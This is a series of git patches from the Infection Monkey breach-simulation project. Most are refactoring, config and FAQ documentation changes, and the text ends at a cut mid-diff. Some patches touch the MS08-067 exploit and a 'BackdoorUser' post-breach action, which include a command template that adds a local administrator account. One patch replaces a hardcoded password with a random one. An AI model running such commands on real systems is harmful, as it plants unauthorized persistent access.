initialize_services(data_dir): PostBreachFilesService.initialize(data_dir) - RunLocalMonkeyService.initialize(data_dir) + LocalMonkeyRunService.initialize(data_dir) diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index 175bd58a9ae..e7e18045a42 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -13,7 +13,7 @@ logger = logging.getLogger(__name__) -class RunLocalMonkeyService: +class LocalMonkeyRunService: DATA_DIR = None # TODO: A number of these services should be instance objects instead of @@ -31,7 +31,7 @@ def run_local_monkey(): return False, "OS Type not found" src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) - dest_path = os.path.join(RunLocalMonkeyService.DATA_DIR, result["filename"]) + dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"]) # copy the executable to temp path (don't run the monkey from its current location as it may # delete itself) @@ -48,7 +48,7 @@ def run_local_monkey(): port = env_singleton.env.get_island_port() args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"] - subprocess.Popen(args, cwd=RunLocalMonkeyService.DATA_DIR) + subprocess.Popen(args, cwd=LocalMonkeyRunService.DATA_DIR) except Exception as exc: logger.error("popen failed", exc_info=True) return False, "popen failed: %s" % exc From 1418671aa37d5f167e5976fc5567a8d3d0dd138f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 12:56:02 -0400 Subject: [PATCH 0480/1360] appimage: Add environment config section to server config --- appimage/server_config.json.standard | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/appimage/server_config.json.standard b/appimage/server_config.json.standard index 99848f94519..8c894b849e9 100644 --- a/appimage/server_config.json.standard +++ b/appimage/server_config.json.standard @@ -1,5 +1,8 @@ { - "server_config": "password", - "deployment": "standard", - "data_dir": "~/.monkey_island" + "data_dir": "~/.monkey_island", + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "standard" + } } From acc6f41a3576e489294671b4505677be330b8748 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 13:12:40 -0400 Subject: [PATCH 0481/1360] appimage: Remove references to nonexistant island_logger_config.json --- appimage/build_appimage.sh | 1 - appimage/run_appimage.sh | 9 +-------- 2 files changed, 1 insertion(+), 9 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 866ba5a19c7..bce51bc8930 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -166,7 +166,6 @@ copy_monkey_island_to_appdir() { cp -r "$1"/common "$INSTALL_DIR/" cp -r "$1"/monkey_island "$INSTALL_DIR/" cp ./run_appimage.sh "$INSTALL_DIR"/monkey_island/linux/ - cp ./island_logger_config.json "$INSTALL_DIR"/ cp ./server_config.json.standard "$INSTALL_DIR"/monkey_island/cc/ # TODO: This is a workaround that may be able to be removed after PR #848 is diff --git a/appimage/run_appimage.sh b/appimage/run_appimage.sh index 1c84b41f1b2..837ef5d3a5d 100644 --- a/appimage/run_appimage.sh +++ b/appimage/run_appimage.sh @@ -3,12 +3,6 @@ PYTHON_CMD="$APPDIR"/opt/python3.7/bin/python3.7 DOT_MONKEY="$HOME"/.monkey_island/ -configure_default_logging() { - if [ ! -f "$DOT_MONKEY"/island_logger_config.json ]; then - cp "$APPDIR"/usr/src/island_logger_config.json "$DOT_MONKEY" - fi -} - configure_default_server() { if [ ! -f "$DOT_MONKEY"/server_config.json ]; then cp "$APPDIR"/usr/src/monkey_island/cc/server_config.json.standard "$DOT_MONKEY"/server_config.json @@ -21,9 +15,8 @@ mkdir --mode=0700 --parents "$DOT_MONKEY" DB_DIR="$DOT_MONKEY"/db mkdir --parents "$DB_DIR" -configure_default_logging configure_default_server cd "$APPDIR"/usr/src || exit 1 ./monkey_island/bin/mongodb/bin/mongod --dbpath "$DB_DIR" & -${PYTHON_CMD} ./monkey_island.py --server-config "$DOT_MONKEY"/server_config.json --logger-config "$DOT_MONKEY"/island_logger_config.json +${PYTHON_CMD} ./monkey_island.py --server-config "$DOT_MONKEY"/server_config.json From fbbce0cd996645087a81b7524af2e6d87a957d40 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 13 May 2021 09:14:50 +0300 Subject: [PATCH 0482/1360] Small improvements in readme of blackbox tests. --- envs/monkey_zoo/blackbox/README.md | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md index 808a0a5cbaf..f372244cea8 100644 --- a/envs/monkey_zoo/blackbox/README.md +++ b/envs/monkey_zoo/blackbox/README.md @@ -1,20 +1,22 @@ # Automatic blackbox tests ### Prerequisites 1. Download google sdk: https://cloud.google.com/sdk/docs/ -2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it). +2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it). GCP console -> IAM -> service accounts(you can use the same key used to authenticate terraform scripts). Place the key in `envs/monkey_zoo/gcp_keys/gcp_key.json`. -3. Deploy the relevant branch + complied executables to the Island machine on GCP. +3. Deploy the relevant branch + complied executables to the Island machine on GCP. ### Running the tests -In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find -this information in the GCP Console `Compute Engine/VM Instances` under _External IP_. +In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find +this information in the GCP Console `Compute Engine/VM Instances` under _External IP_. #### Running in command line +Either run pytest from `/monkey` directory or set `PYTHONPATH` environment variable to +`/monkey` directory so that blackbox tests could import other monkey code. Blackbox tests have following parameters: - `--island=IP` Sets island's IP - `--no-gcp` (Optional) Use for no interaction with the cloud (local test). -- `--quick-performance-tests` (Optional) If enabled performance tests won't reset island and won't send telemetries, +- `--quick-performance-tests` (Optional) If enabled performance tests won't reset island and won't send telemetries, instead will just test performance of endpoints in already present island state. Example run command: @@ -27,22 +29,22 @@ directory `monkey\envs\monkey_zoo\blackbox`. ### Running telemetry performance test -**Before running performance test make sure browser is not sending requests to island!** +**Before running performance test make sure browser is not sending requests to island!** To run telemetry performance test follow these steps: 0. Set `server_config.json` to "standard" (no password protection) setting. 1. Gather monkey telemetries. - 1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have + 1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have exported telemetries already. 2. Run monkey and wait until infection is done. 3. All telemetries are gathered in `monkey/telem_sample` 2. Run telemetry performance test. 1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems` - 2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply + 2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply telemetries gathered. 1. Run `telem_parser.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox` 2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate telemetries 4 times. 3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion. - 3. Performance test will run as part of BlackBox tests or you can run it separately by adding + 3. Performance test will run as part of BlackBox tests or you can run it separately by adding `-k 'test_telem_performance'` option. From 2e2fd0a53c5beee1dd0269905f535abcd3161f7b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 13 May 2021 09:15:33 +0300 Subject: [PATCH 0483/1360] Changed blackbox tests to fail and stop if they can't connect to the island. --- envs/monkey_zoo/blackbox/test_blackbox.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 70b1334685d..20f4951514c 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -159,7 +159,8 @@ def get_log_dir_path(): return os.path.abspath(LOG_DIR_PATH) def test_server_online(self, island_client): - assert island_client.get_api_status() is not None + if not island_client.get_api_status(): + pytest.exit("BB tests couldn't reach the Island server, quiting.") def test_ssh_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") From ffb329c277b9fe0a04b9b269a10f370db295581e Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 13 May 2021 13:40:51 +0530 Subject: [PATCH 0484/1360] CR changes: modify/add server_config.json related examples to FAQ in docs --- docs/content/FAQ/_index.md | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index dc7b5f6332a..5f1b17fe86a 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -54,8 +54,10 @@ This file is located in your specified data directory. On Linux, the default dat ```json { - "server_config": "password", - "deployment": "windows" + "environment": { + "server_config": "password", + "deployment": "windows" + } } ``` Then, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux, or on Windows, restart program. @@ -101,8 +103,17 @@ The log enables you to see which requests were requested from the server and ext #### How do I change the log level of the Monkey Island logger? -The log level of the Monkey Island logger is set in the `log_level` field in the `server_config.json` file which is present in your specified data directory. On Linux, the default data directory is `$HOME/.monkey_island`, and on Windows, it is `%AppData%\monkey_island`. Make sure you leave everything else in `server_config.json` unchanged. +The log level of the Monkey Island logger is set in the `log_level` field in the `server_config.json` file which is present in your specified data directory. On Linux, the default data directory is `$HOME/.monkey_island`, and on Windows, it is `%AppData%\monkey_island`. Make sure you leave everything else in `server_config.json` unchanged: +```json +{ + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "linux" + } +} +``` To apply the changes, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux, or on Windows, restart the program. Now, any logging in the program will be done according to the new log level. ### Infection Monkey agent From f247dd7daa5e5ca145315beb3d577454aa8470d1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 13 May 2021 11:46:32 +0300 Subject: [PATCH 0485/1360] Updated documentation root link in documentation config.toml --- docs/config/staging/config.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/config/staging/config.toml b/docs/config/staging/config.toml index dd159fdd8a0..671171770c8 100644 --- a/docs/config/staging/config.toml +++ b/docs/config/staging/config.toml @@ -1,2 +1,2 @@ -baseURL = "https://staging-covuyicu.kinsta.cloud/infectionmonkey/docs/" +baseURL = "http://staging-infectionmonkey.temp312.kinsta.cloud/docs/" canonifyURLs = true From f0bd6e10d3804adc4923ecc25ab5cb945b5dea58 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 13 May 2021 07:59:32 -0400 Subject: [PATCH 0486/1360] island: Remove duplicate deployment from server_config.json.develop --- monkey/monkey_island/cc/server_config.json.develop | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_config.json.develop b/monkey/monkey_island/cc/server_config.json.develop index f317c7925ec..fe9e2687fec 100644 --- a/monkey/monkey_island/cc/server_config.json.develop +++ b/monkey/monkey_island/cc/server_config.json.develop @@ -1,5 +1,4 @@ { - "deployment": "develop", "log_level": "DEBUG", "environment": { "server_config": "password", From 515ce72791d11cd5399ba43771a4a3021f270656 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 14 May 2021 15:58:32 +0530 Subject: [PATCH 0487/1360] Add two separate sections for server and agent runtime artifacts in docs FAQ --- docs/content/FAQ/_index.md | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 5f1b17fe86a..2e435a3087f 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -10,6 +10,8 @@ Below are some of the most common questions we receive about the Infection Monke - [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) - [Where does Infection Monkey store runtime artifacts?](#where-does-infection-monkey-store-runtime-artifacts) + - [Monkey Island server](#monkey-island-server) + - [Infection Monkey agent](#infection-monkey-agent) - [How do I reset the Monkey Island password?](#how-do-i-reset-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) @@ -40,11 +42,17 @@ The Infection Monkey agent shuts off either when it can't find new victims or it ## Where does Infection Monkey store runtime artifacts? -The Infection Monkey agent may need to access or create some files on systems while running, such as during the execution of custom post-breach actions or when attempting the Zerologon exploit. +### Monkey Island server + +The Island server will need to store some files on the system on which it is running, such as the Island logs and any custom post-breach action files. For this, it uses a "data directory" which can be configured in the `data_dir` field in the `server_config.json` file. The default data directory on Linux is `$HOME/.monkey_island`, and on Windows is `%AppData%\monkey_island`. -Any runtime artifacts will be stored in the data directory. +### Infection Monkey agent + +The Monkey agent will need to store or create some files on the system on which it is running. This includes the agent binaries, logs, and any files needed for the execution of custom post-breach actions or when attempting the Zerologon exploit. + +It does so by creating temporary directories on the system and storing the data there. ## How do I reset the Monkey Island password? From 476063ec567d1cfdea45c4d8c8d4eef62292b278 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 14 May 2021 16:21:01 +0300 Subject: [PATCH 0488/1360] Renamed logging FAQ section title to be shorter and to the point --- docs/content/FAQ/_index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 2e435a3087f..a39d881358d 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -15,7 +15,7 @@ Below are some of the most common questions we receive about the Infection Monke - [How do I reset the Monkey Island password?](#how-do-i-reset-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) -- [Where can I find the log files of the Infection Monkey agent and the Monkey Island server, and how can I read them?](#where-can-i-find-the-log-files-of-the-infection-monkey-agent-and-the-monkey-island-and-how-can-i-read-them) +- [Logging and how to find logs](#logging-and-how-to-find-logs) - [Monkey Island server](#monkey-island-server) - [How do I change the log level of the Monkey Island logger?](#how-do-i-change-the-log-level-of-the-monkey-island-logger) - [Infection Monkey agent](#infection-monkey-agent) @@ -91,7 +91,7 @@ The Monkey performs queries out to the Internet on two separate occasions: 1. The Infection Monkey agent checks if it has internet access by performing requests to pre-configured domains. By default, these domains are `updates.infectionmonkey.com` and `www.google.com.` The request doesn't include any extra information - it's a GET request with no extra parameters. Since the Infection Monkey is 100% open-source, you can find the domains in the configuration [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/config.py#L152) and the code that performs the internet check [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/network/info.py#L123). This **IS NOT** used for statistics collection. 1. After installing the Monkey Island, it sends a request to check for updates. The request doesn't include any PII other than the IP address of the request. It also includes the server's deployment type (e.g., Windows Server, Debian Package, AWS Marketplace) and the server's version (e.g., "1.6.3"), so we can check if we have an update available for this type of deployment. Since the Infection Monkey is 100% open-source, you can inspect the code that performs this [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/monkey_island/cc/services/version_update.py#L37). This **IS** used for statistics collection. However, due to this data's anonymous nature, we use this to get an aggregate assumption of how many deployments we see over a specific time period - it's not used for "personal" tracking. -## Where can I find the log files of the Infection Monkey agent and the Monkey Island, and how can I read them? +## Logging and how to find logs ### Monkey Island server From 193061b82a19563eb9a1911c8f65a4b54b2899b3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 14 May 2021 16:30:10 +0300 Subject: [PATCH 0489/1360] Moved "How do I change the log level of the Monkey Island logger?" as the last section in FAQ of logging --- docs/content/FAQ/_index.md | 44 +++++++++++++++++++++++--------------- 1 file changed, 27 insertions(+), 17 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index a39d881358d..381161e7370 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -17,8 +17,8 @@ Below are some of the most common questions we receive about the Infection Monke - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) - [Logging and how to find logs](#logging-and-how-to-find-logs) - [Monkey Island server](#monkey-island-server) - - [How do I change the log level of the Monkey Island logger?](#how-do-i-change-the-log-level-of-the-monkey-island-logger) - [Infection Monkey agent](#infection-monkey-agent) + - [How do I change the log level of the Monkey Island logger?](#how-do-i-change-the-log-level-of-the-monkey-island-logger) - [Running the Infection Monkey in a production environment](#running-the-infection-monkey-in-a-production-environment) - [How much of a footprint does the Infection Monkey leave?](#how-much-of-a-footprint-does-the-infection-monkey-leave) - [What's the Infection Monkey's impact on system resources usage?](#whats-the-infection-monkeys-impact-on-system-resources-usage) @@ -109,22 +109,7 @@ The log enables you to see which requests were requested from the server and ext 2019-07-23 10:52:24,027 - report.py:580 - get_domain_issues() - INFO - Domain issues generated for reporting ``` -#### How do I change the log level of the Monkey Island logger? - -The log level of the Monkey Island logger is set in the `log_level` field in the `server_config.json` file which is present in your specified data directory. On Linux, the default data directory is `$HOME/.monkey_island`, and on Windows, it is `%AppData%\monkey_island`. Make sure you leave everything else in `server_config.json` unchanged: - -```json -{ - "log_level": "DEBUG", - "environment": { - "server_config": "password", - "deployment": "linux" - } -} -``` -To apply the changes, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux, or on Windows, restart the program. Now, any logging in the program will be done according to the new log level. - -### Infection Monkey agent +### Infection Monkey agent logs The Infection Monkey agent log file can be found in the following paths on machines where it was executed: @@ -147,6 +132,31 @@ The logs contain information about the internals of the Infection Monkey agent's 2019-07-22 19:16:45,013 [77598:140654230214464:DEBUG] connectionpool._make_request.396: https://updates.infectionmonkey.com:443 "GET / HTTP/1.1" 200 61 ``` +### How do I change the log level of the Monkey Island logger? + +The log level of the Monkey Island logger is set in the `log_level` field +in the `server_config.json` file. +On Linux, the default path of `server_config.json` file +is `$HOME/.monkey_island/server_config.json`. +On Windows, it's `%AppData%\monkey_island\server_config.json`. +Make sure to leave everything else in `server_config.json` unchanged: + +```json +{ + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "linux" + } +} +``` + +Logging levels correspond to [the logging level constants in python](https://docs.python.org/3.7/library/logging.html#logging-levels). + +To apply the changes, reset the Monkey Island process. +On Linux use `sudo systemctl restart monkey-island.service`. +On Windows, restart the program. + ## Running the Infection Monkey in a production environment ### How much of a footprint does the Infection Monkey leave? From 84559efffb7cf9dbc95f317527f1e883740b8c21 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 14 May 2021 16:33:07 +0300 Subject: [PATCH 0490/1360] Improved password reset section in documentation hub FAQ --- docs/content/FAQ/_index.md | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 381161e7370..be5e28a16bb 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -56,9 +56,14 @@ It does so by creating temporary directories on the system and storing the data ## How do I reset the Monkey Island password? -When you first access the Monkey Island server, you'll be prompted to create an account. If you forget the credentials you entered, or just want to change them, you need to alter the `server_config.json` file manually. +When you first access the Monkey Island server, you'll be prompted to create an account. +If you forget the credentials you entered, or just want to change them, you need to alter +the `server_config.json` file manually. -This file is located in your specified data directory. On Linux, the default data directory is `$HOME/.monkey_island`, and on Windows, it is `%AppData%\monkey_island`. Reset the contents of this file leaving the **deployment option unchanged** (it might be "VMware" or "Linux" in your case): +On Linux, the default path to `server_config.json` is `$HOME/.monkey_island/server_config.json`. +On Windows, it is `%AppData%\monkey_island\server_config.json`. +Reset the contents of this file leaving the **deployment option unchanged** +(it might be "VMware" or "Linux" in your case): ```json { @@ -68,7 +73,9 @@ This file is located in your specified data directory. On Linux, the default dat } } ``` - Then, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux, or on Windows, restart program. + Then, reset the Monkey Island process. + On Linux, use `sudo systemctl restart monkey-island.service`. + On Windows, restart the program. Finally, go to the Monkey Island's URL and create a new account. ## Should I run the Infection Monkey continuously? From a67a03d712616978ea0d221f5241553790db7aee Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 14 May 2021 16:35:23 +0300 Subject: [PATCH 0491/1360] Specified Island logs path in the FAQ section of documentation hub --- docs/content/FAQ/_index.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index be5e28a16bb..e3b21e66865 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -100,13 +100,15 @@ The Monkey performs queries out to the Internet on two separate occasions: ## Logging and how to find logs -### Monkey Island server +### Monkey Island server logs You can download the Monkey Island's log file directly from the UI. Click the "log" section and choose **Download Monkey Island internal logfile**, like so: ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") -It can also be found as a local file on the Monkey Island server, where the Monkey Island was executed, called `info.log`. +It can also be found as a local file on the Monkey Island server system. + By default, on Linux it's `$HOME/.monkey_island/info.log`, + on Windows it's `%AppData%\monkey_island\info.log` The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these: From 68f821370c9b1cac479a4d5b119fb77ef9d9e49c Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 14:23:36 +0530 Subject: [PATCH 0492/1360] Change Island's log file path in FAQ docs (and change sentence wording) --- docs/content/FAQ/_index.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index e3b21e66865..7ff1fe8cf94 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -106,9 +106,9 @@ You can download the Monkey Island's log file directly from the UI. Click the "l ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") -It can also be found as a local file on the Monkey Island server system. - By default, on Linux it's `$HOME/.monkey_island/info.log`, - on Windows it's `%AppData%\monkey_island\info.log` +It can also be found as a local file on the Monkey Island server system in the specified data directory. +On Linux, the default path of the log file is `$HOME/.monkey_island/monkey_island.log`. +On Windows, it's `%AppData%\monkey_island\monkey_island.log`. The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these: From b79ef1680c1b33dcf0fc4cdfb9f3a1a9ce226f55 Mon Sep 17 00:00:00 2001 From: VakarisZ <36815064+VakarisZ@users.noreply.github.com> Date: Mon, 17 May 2021 14:39:30 +0300 Subject: [PATCH 0493/1360] Update envs/monkey_zoo/blackbox/README.md Co-authored-by: Shreya Malviya --- envs/monkey_zoo/blackbox/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md index f372244cea8..b6a12333fe5 100644 --- a/envs/monkey_zoo/blackbox/README.md +++ b/envs/monkey_zoo/blackbox/README.md @@ -12,7 +12,7 @@ this information in the GCP Console `Compute Engine/VM Instances` under _Externa #### Running in command line Either run pytest from `/monkey` directory or set `PYTHONPATH` environment variable to -`/monkey` directory so that blackbox tests could import other monkey code. +`/monkey` directory so that blackbox tests can import other monkey code. Blackbox tests have following parameters: - `--island=IP` Sets island's IP - `--no-gcp` (Optional) Use for no interaction with the cloud (local test). From 8dc72b2aae15e08aafb7c6679109ae5bf67d561b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 18:53:32 +0530 Subject: [PATCH 0494/1360] Swimm: update exercise Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index d6a1b742bcd..ce4eed6efd8 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -38,18 +38,20 @@ "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER", "*from infection_monkey.config import WormConfiguration", "*from infection_monkey.post_breach.pba import PBA", + "*from infection_monkey.utils.random_password_generator import get_random_password", "*from infection_monkey.utils.users import get_commands_to_add_user", "*", "*", "*class BackdoorUser(PBA):", "* def __init__(self):", + "* remote_user_pwd = get_random_password()", + "*", "* linux_cmds, windows_cmds = get_commands_to_add_user(", - "* WormConfiguration.user_to_add, WormConfiguration.remote_user_pass", + "* WormConfiguration.user_to_add, remote_user_pwd", "* )", "* super(BackdoorUser, self).__init__(", "* POST_BREACH_BACKDOOR_USER, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", - "* )", - "*" + "* )" ] }, { @@ -108,7 +110,7 @@ "symbols": {}, "file_version": "2.0.1", "meta": { - "app_version": "0.4.1-1", + "app_version": "0.4.4-0", "file_blobs": { "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", "monkey/infection_monkey/post_breach/actions/add_user.py": "cae5a2428fa01b333a2e70365c9da1e189e31bc4", From 51b996ce1874589f741a78cf25703f4f572cf60b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 18:54:45 +0530 Subject: [PATCH 0495/1360] Generate password randomly when creating a new user for Create User PBA and exploit MS08_67 using https://docs.python.org/3.7/library/secrets.html#secrets.token_urlsafe --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/win_ms08_067.py | 6 ++++-- monkey/infection_monkey/post_breach/actions/add_user.py | 6 +++++- monkey/infection_monkey/utils/random_password_generator.py | 6 ++++++ monkey/monkey_island/cc/services/config_schema/internal.py | 6 ------ 6 files changed, 15 insertions(+), 11 deletions(-) create mode 100644 monkey/infection_monkey/utils/random_password_generator.py diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index ad37bf837a9..d00d5581457 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -192,7 +192,6 @@ def as_dict(self): ms08_067_exploit_attempts = 5 user_to_add = "Monkey_IUSER_SUPPORT" - remote_user_pass = "Password1!" # User and password dictionaries for exploits. diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b27f2f3cca1..774d69aedd7 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -61,7 +61,6 @@ "send_log_to_server": true, "ms08_067_exploit_attempts": 5, "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 16b971cd80a..8e6daa8f4b0 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -25,6 +25,7 @@ from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port +from infection_monkey.utils.random_password_generator import get_random_password LOG = getLogger(__name__) @@ -230,6 +231,7 @@ def _exploit_host(self): ) exploited = False + remote_user_pwd = get_random_password() for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) @@ -240,7 +242,7 @@ def _exploit_host(self): "cmd /c (net user {} {} /add) &&" " (net localgroup administrators {} /add)\r\n".format( self._config.user_to_add, - self._config.remote_user_pass, + remote_user_pwd, self._config.user_to_add, ).encode() ) @@ -264,7 +266,7 @@ def _exploit_host(self): src_path, self._config.dropper_target_path_win_32, self._config.user_to_add, - self._config.remote_user_pass, + remote_user_pwd, ) if not remote_full_path: diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index cae5a2428fa..7e92eaf84bb 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,14 +1,18 @@ from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.config import WormConfiguration from infection_monkey.post_breach.pba import PBA +from infection_monkey.utils.random_password_generator import get_random_password from infection_monkey.utils.users import get_commands_to_add_user class BackdoorUser(PBA): def __init__(self): + remote_user_pwd = get_random_password() + linux_cmds, windows_cmds = get_commands_to_add_user( - WormConfiguration.user_to_add, WormConfiguration.remote_user_pass + WormConfiguration.user_to_add, remote_user_pwd ) + super(BackdoorUser, self).__init__( POST_BREACH_BACKDOOR_USER, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds ) diff --git a/monkey/infection_monkey/utils/random_password_generator.py b/monkey/infection_monkey/utils/random_password_generator.py new file mode 100644 index 00000000000..d205a9a018b --- /dev/null +++ b/monkey/infection_monkey/utils/random_password_generator.py @@ -0,0 +1,6 @@ +import secrets + + +def get_random_password(length: int = 12) -> str: + password = secrets.token_urlsafe(length) + return password diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py 